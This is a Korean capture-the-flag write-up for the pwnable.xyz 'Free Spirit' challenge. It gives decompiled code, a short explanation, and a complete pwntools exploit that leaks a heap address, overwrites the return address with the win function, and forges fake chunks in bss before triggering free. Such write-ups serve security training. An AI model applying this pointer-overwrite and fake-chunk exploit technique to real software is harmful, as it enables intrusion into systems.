[pwnable.xyz]Free Spirit

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  signed __int64 i; // rcx
  int v5; // eax
  __int64 v7; // [rsp+8h] [rbp-60h]
  char *buf; // [rsp+10h] [rbp-58h]
  char nptr; // [rsp+18h] [rbp-50h]
  unsigned __int64 v10; // [rsp+48h] [rbp-20h]

  v10 = __readfsqword(0x28u);
  setup();
  buf = malloc(0x40uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      _printf_chk(1LL, "> ");
      v3 = &nptr;
      for ( i = 12LL; i; --i )
      {
        *v3 = 0;
        v3 += 4;
      }
      read(0, &nptr, 0x30uLL);
      v5 = atoi(&nptr);
      if ( v5 != 1 )
        break;
      __asm { syscall; LINUX - sys_read }
    }
    if ( v5 <= 1 )
      break;
    if ( v5 == 2 )
    {
      _printf_chk(1LL, "%p\n");
    }
    else if ( v5 == 3 )
    {
      if ( limit <= 1 )
        _mm_storeu_si128(&v7, _mm_loadu_si128(buf));// buf -> v7 (16byte)
    }
    else
    {
LABEL_16:
      puts("Invalid");
    }
  }
  if ( v5 )
    goto LABEL_16;
  if ( !buf )
    exit(1);
  free(buf);
  return 0;
}

2번 메뉴로 buf 주소 알 수 있고 리턴 주소도 구할 수 있다. 3번 메뉴로 buf에 입력받은걸 v7으로 16바이트만큼 덮는데 buf가 또 덮여서 포인터 값을 바꿔줄 수 있다. 그래서 리턴을 win주소로 바꿔주고 free(buf)를 트리거 해줘야 정상적으로 win으로 리턴될 거다. 쓰기 권한이 있는 bss 영역에 fake chunk를 구성해주면 된다. free할 때 인접한 chunk도 검사하므로 2개를 만들어주면 된다.

exploit.py

from pwn import *

# context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
p = remote('svc.pwnable.xyz',30005)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
win = e.symbols['win']
bss = 0x601038

sla('>','2')
buf = int(p.recvline().strip(),16)
log.info('buf : ' + hex(buf))
ret = buf + 0x58
log.info('return : ' + hex(ret))

sla('>','1')
s('A'*8+p64(ret)) # buf -> ret
sla('>','3')

sla('>','1')
s(p64(win)+p64(bss)) # ret -> win
sla('>','3')

sla('>','1')
s(p64(0x51)+p64(bss+80)) # fake chunk1
sla('>','3')

sla('>','1')
s(p64(0x51)+p64(bss+8)) # fake chunk2
sla('>','3')
#raw_input()

sla('>','0') # free(buf) -> ret -> win

p.interactive()